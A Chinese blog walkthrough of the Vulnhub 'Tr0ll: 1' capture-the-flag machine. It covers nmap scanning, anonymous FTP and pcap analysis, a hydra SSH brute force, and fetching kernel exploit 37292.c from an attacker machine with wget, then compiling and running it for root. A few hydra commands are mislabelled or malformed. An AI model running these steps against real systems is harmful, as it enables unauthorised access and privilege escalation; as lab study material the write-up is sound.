Tr0ll: 1 Vulnhub靶機滲透筆記

Sol_9發表於2024-12-09

Tr0ll: 1 Vulnhub靶機滲透筆記

本部落格提供的所有資訊僅供學習和研究目的,旨在提高讀者的網路安全意識和技術能力。請在合法合規的前提下使用本文中提供的任何技術、方法或工具。如果您選擇使用本部落格中的任何資訊進行非法活動,您將獨自承擔全部法律責任。本部落格明確表示不支援、不鼓勵也不參與任何形式的非法活動。

如有侵權請聯絡我第一時間刪除

靶機地址

Tr0ll: 1 ~ VulnHub

資訊收集

nmap

主機發現

nmap -sn 192.168.236.128/24

tcp掃描

┌──(observer㉿kali)-[~/Tr0ll]
└─$ nmap -sT 192.168.236.136 -p- --min-rate 10000 -oA tcpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 19:59 CST
Nmap scan report for 192.168.236.136
Host is up (0.0027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.56 seconds

udp掃描

┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sU 192.168.236.136 --min-rate 10000 -oA udpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:01 CST
Nmap scan report for 192.168.236.136
Host is up (0.00024s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
814/udp   closed unknown
6970/udp  closed unknown
17946/udp closed unknown
19933/udp closed unknown
48078/udp closed unknown
49202/udp closed unknown
MAC Address: 00:0C:29:8C:0A:29 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds

剛剛掃描tcp掃到21ftp,22ssh,80web,現在對這三個埠進行詳細的掃描

detail_tcpscan

┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sT -sV -sC -O 192.168.236.136 -p 21,22,80 --min-rate 10000 -oA tcpscan_detail
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:13 CST
Nmap scan report for 192.168.236.136
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.236.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/secret
MAC Address: 00:0C:29:8C:0A:29 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds

漏洞指令碼掃描

nmap -script=vuln -p22,21,80 -min-rate 10000 -oA scriptvuln 192.168.236.136

這裡不知道什麼原因,掃不到東西

攻擊面分析&嘗試&getshell

那就不管了,主要看一下detail裡的東西 這裡本來是要先分析一下的,分析ftp的時候直接匿名登陸拿到了一個流量包,看到了一個關鍵的目錄,然後去web滲透拿到了一些憑據,爆破後就ssh,思路就還挺簡單的,所以就省略這個分析了

ftp

執行的是 vsftpd (Very Secure FTP Daemon) 3.0.2 版本

執行匿名登入,這個很值得關注:

 ftp-anon: Anonymous FTP login allowed  

在匿名登入的情況下,存在一個名為 lol.pcap 的檔案具有讀寫執行許可權 (-rwxrwxrwx),這表示任何連線到FTP伺服器的人都可以讀取、修改或刪除這個檔案。這對於安全性來說是一個嚴重的風險,因為它可能允許未授權的使用者上傳惡意內容或者修改現有檔案。

-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]

ftp連線以明文傳輸

控制連線是以明文形式進行的。這意味著客戶端與伺服器之間的命令互動(例如登入、目錄更改等)不會被加密。
|      Control connection is plain text

資料連線也將以明文形式進行。這表示當傳輸檔案或目錄列表時,這些資料也不會被加密
|      Data connections will be plain text

當我ftp不給使用者名稱進去後,給出一條這樣的報錯,This FTP server is anonymous only 猜測anonymous就是管理員的username,而我們匿名進去是沒有許可權執行命令的

這裡還嘗試了用root,還是提示只能用anonymous

那就用anonymous匿名登入吧,提示輸入密碼,直接回車給他一個空密碼,成功連線到了ftp,嘗試輸入ls ,是ok的 ,過了一會這個ftp就掉了,回頭看tcp掃描結果發現 Session timeout in seconds is 600 ,也就是說600秒就會timeout,不過不影響什麼

把這個流量檔案下載下來

get lol.pcap

在wireshark中發現了一個secret_stuff.txt

但我嘗試ftp去下載,也嘗試web端去路由他,都失敗了,那他到底是個什麼呢,仔細看wireshark的流量,這裡是抓到了request請求下載secret_stuff.txt ,仔細看一下,搞清楚下載過程的流量來源,又一開始我們就知道ftp是以明文傳輸資料的,既然這裡有抓包的流量,也就是說這個響應包裡肯定就是明文

將響應包裡的明文拿出來:

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
\n
Sucks, you were so close... gotta TRY HARDER!\n

大概意思就是 好好好,你真是個小機靈鬼,你差不多找到了sup3rs3cr3tdirlol 😛

真遺憾,你差一點就成功了... 還得再加把勁!

這個sup3rs3cr3tdirlol是leet speak風格的文字,其實就是supersecretdirlol超級秘密目錄,猜測大機率是一個目錄

web

直接訪問80埠,是一個欠揍的暴漫表情

之前tcp掃描提示有/secret,訪問一下看看,發現更欠揍了

目錄掃描一下dirsearch和dirb都掃一下,都沒有什麼發現

訪問ftp得到的/sup3rs3cr3tdirlol有一個檔案,我們wget把他下載到kali

從這裡開始我的思路就斷了,然後去看了別人的blog。。 QAQ

直接cat一堆亂碼不太好看,用strings從二進位制檔案中提取可列印的字元序列,或許可以看到一些我們想要的線索

看到Find address 0x0856BF to proceed ,意思讓我們去找這個地址來繼續,這會是個目錄嗎?

還真是,給了兩個目錄,一個使用者名稱,一個passwd

先下載到kali裡,方便用hrdra九頭蛇去爆破一下ssh和ftp(這兩個都可以登入)

wget http://192.168.236.136/0x0856BF/good_luck/which_one_lol.txt
wget http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt
--2024-12-08 23:32:21--  http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt

vim處理一下which_one_lol.txt

┌──(observer㉿kali)-[~/Tr0ll]
└─$ vim which_one_lol.txt                                                                                      
┌──(observer㉿kali)-[~/Tr0ll]
└─$ cat which_one_lol.txt 
maleus
ps-aux
felux
Eagle11
genphlux
usmc8892
blawrg
wytshadow
vis1t0r
overflow
hydra基礎用法:

使用語法:hydra 引數 IP地址 服務名
幫助命令:hydra -h
常用命令:hydra [-l 使用者名稱|–L 使用者名稱檔案路徑] [-p 密碼|–P 密碼檔案路徑] [-t 執行緒數] [–vV 顯示詳細資訊] [–o 輸出檔案路徑] [–f 找到密碼就停止] [–e ns 空密碼和指定密碼試探] [ip|-M ip列表檔案路徑]

ftp

sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh 

ssh

sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh 

上面兩條指令嘗試用Pass.txt裡的內容去爆破,都失敗了

目錄名提示說this_folder_contains_the_password

直接用這個檔名去ssh 成功拿到ssh的憑據:overflow Pass.txt

sudo hydra -L /YourPath/which_one_lol.txt -p Pass.txt 192.168.236.136 ssh 

ssh獲取初步shell

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu

22埠跑的是一個OpenSSH服務,是6.6.1p1版本,伺服器提供了DSARSAECDSAED25519 這幾種金鑰公鑰演算法用於主機認證

已經拿到一組憑據了,ssh連線獲得初步shell

ssh overflow@192.168.236.136

成功登入

用python提升一下互動性

查詢是否有python

dpkg -l | grep python

是有的,而且挺全的

那就用執行這條語句得到一個互動性更好的shell

python -c 'import pty;pty.spawn("/bin/bash")'
Pass.txt
ssh overflow@192.168.236.136

提權

資訊收集

想sudo -l檢視當前使用者許可權,但報錯了,不允許使用這條命令

那就用uname -a檢視一下靶機的核心版本,Linux 3.13.0

overflow@troll:/$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

這裡提供了幾種方式來檢視linux版本,以及核心版本

$ cat /proc/version    #檢視GCC版本號,linux版本號,Ubuntu版本號 
Linux version 3.13.0-32-generic (buildd@roseapple) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014

$ lsb_release -a
No LSB modules are available.        
Distributor ID: Ubuntu               #類別是Ubuntu
Description:    Ubuntu 14.04.1 LTS   #LTS是Long Term Support:長時間支援版本
Release:        14.04                #發行日期或者發行版本號
Codename:       trusty 				#ubuntu的代號名稱

$ uname -a    #顯示linux 的核心版本和系統是多少位的:X86_64代表系統是64位的
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

#  使用 /etc/lsb-release 或 /etc/os-release 命令

$ cat /etc/os-release
#與 Ubuntu 16.04 及更高版本相容
#檢視資訊列表,其中包括您的 Ubuntu 版本號及其版本名稱。
#此外,還有一些指向 Ubuntu 網站和資源的連結可以為您提供幫助
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ cat /etc/lsb-release   
#它是為舊系統設計的,因此如果您執行的是過時的 Ubuntu 版本,則可以使用它
#使用該命令將返回更簡單的結果,其中顯示版本 ID、描述和代號。它不包括連結和 Ubuntu 版本名稱
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"

$ cat /etc/issue    
#/etc/issue 檔案是基於文字的文件。它包含系統標識資料
#因為該命令不會顯示您的 Ubuntu 版本以外的任何內容
Ubuntu 14.04.1 LTS \n \l

$ hostnamectl
#使用 hostnamectl 命令。
#當您要更改系統的主機名時,通常使用此方法。
#但是,它還會返回 Ubuntu 版本和計算機 ID 等資訊。
   Static hostname: troll
         Icon name: computer-vm
           Chassis: vm
           Boot ID: e43aaf51725843209b9e700f5eab15f9
  Operating System: Ubuntu 14.04.1 LTS
            Kernel: Linux 3.13.0-32-generic
      Architecture: i686

其中lsb表示(Linux Standard Base):LSB是一套核心標準,它保證了LINUX發行版同LINUX應用程式之間的良好結合,具體地說,它是:
1、一個二進位制介面規範,是指應用程式在系統間遷移時不用重新編譯,保證應用程式在所有經過認證的LINUX發行版上都具有相容性。
2、一個測試規範,測試LINUX發行版和LINUX應用程式是否符合LSB標準。
3、搭建遵從LSB規範的應用程式的開發環境。
4、為在純LSB環境下執行和測試應用程式而提供的執行環境樣本。

uname --s 顯示核心名字
uname --r 顯示核心版本
uname --n 顯示網路主機名
uname --p 顯示cpu

Exploit查詢payload

根據核心版本在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers查詢對應的payload,並用searchsploit下載到kali上

searchsploit Linux 3.13.0
searchsploit -m 37292.c

Exp利用

在攻擊機上開一個php服務或python服務,都可以

sudo php -S 0:80

這裡用到了一個不起眼但是很有用的/tmp目錄,參考Linux中最低調、最易讓人忽視的tmp目錄,原來用處那麼大!-騰訊雲開發者社群-騰訊雲

在Linux作業系統中,tmp目錄是一個臨時目錄,用於儲存臨時檔案。這個目錄通常位於根目錄下,命名為/tmp。本文將詳細介紹Linux中的tmp目錄,包括它的作用、許可權、使用方法和安全性等方面。

作用

tmp目錄用於儲存臨時檔案,這些檔案通常是由作業系統或應用程式建立的。這些檔案可以是日誌檔案、臨時快取檔案、程式臨時檔案、列印佇列檔案等。它們在使用後很快就會被刪除,因此/tmp目錄通常保持相對較小的大小。

許可權

在Linux中,tmp目錄的許可權通常設定為777(rwxrwxrwx),這意味著任何使用者都可以訪問和修改該目錄中的檔案。這是為了方便臨時檔案的建立和刪除。然而,由於/tmp目錄通常包含敏感資訊,因此一些系統管理員可能會更改其許可權以提高安全性。

使用方法

/tmp目錄在Linux中被廣泛使用。下面是/tmp目錄的幾個主要用途:

  1. 快取

/tmp目錄通常用於儲存臨時快取檔案,這些檔案可以加速某些操作。例如,瀏覽器會將下載的檔案儲存到/tmp目錄中,以便更快地訪問這些檔案。

  1. 列印佇列

列印服務通常會將列印任務儲存在/tmp目錄中。這些檔案在列印完成後會自動刪除。

  1. 應用程式臨時檔案

某些應用程式需要在執行期間建立臨時檔案。例如,影片編輯器需要建立臨時檔案以儲存正在編輯的影片檔案。

  1. 日誌檔案

某些程式會將日誌檔案儲存在/tmp目錄中。這些日誌檔案通常包含程式執行期間的資訊,例如錯誤訊息或除錯資訊。

  1. 其他

/tmp目錄還可用於其他臨時檔案的儲存,例如備份檔案、郵件附件等。

安全性

儘管/tmp目錄通常是一個臨時目錄,但它也可能包含一些敏感資訊,例如密碼檔案或其他保密資料。因此,在使用/tmp目錄時需要注意安全問題。下面是一些有關使用/tmp目錄的安全建議:

  1. 避免在/tmp目錄中儲存敏感資訊

儘管/tmp目錄通常會自動清理,但為了確保安全,最好避免在其中儲存敏感資訊。如果必須儲存敏感資訊,則應考慮將檔案加密或將其儲存在其他地方。

  1. 定期清理/tmp目錄

為了保證安全,建議定期清理/tmp目錄。這可以防止/tmp目錄被填滿,從而導致系統崩潰或無法正常工作。

  1. 限制/tmp目錄的許可權

由於/tmp目錄通常包含敏感資訊,一些系統管理員可能會限制其訪問許可權,以提高安全性。這可以透過更改目錄許可權或使用安全模組(如SELinux)來實現。

  1. 避免使用/tmp目錄作為共享目錄

/tmp目錄通常是一個臨時目錄,不應用於共享目錄。如果必須在多個計算機之間共享檔案,則應使用其他共享目錄,例如NFS共享目錄或Samba共享目錄。

  1. 防止/tmp目錄成為攻擊者的入口

/tmp目錄可能成為攻擊者攻擊系統的入口。攻擊者可能透過/tmp目錄中的漏洞來執行惡意程式碼,因此需要採取一些措施來保護/tmp目錄的安全。這可以透過升級系統補丁、安裝防病毒軟體或使用安全模組等方式實現。

結論

在Linux中,tmp目錄是一個重要的臨時目錄,用於儲存臨時檔案。儘管/tmp目錄通常自動清理,但在使用時需要注意安全問題。為了確保安全,建議避免在其中儲存敏感資訊,定期清理/tmp目錄,並限制其訪問許可權。此外,還應採取一些措施來防止/tmp目錄成為攻擊者的入口。透過這些措施,可以確保/tmp目錄在系統中的安全使用。

在靶機上使用wget從攻擊機上下載payload(記得先cd到/tmp)

wget http://192.168.236.128:80/37292.c

將C語言檔案編譯為二進位制檔案

cc -o exp 37292.c
或者用gcc
gcc 37292.c -o exp

授權,並執行檔案,獲取root許可權

chmod +x exp

./exp即可提權

定妝照:

相關文章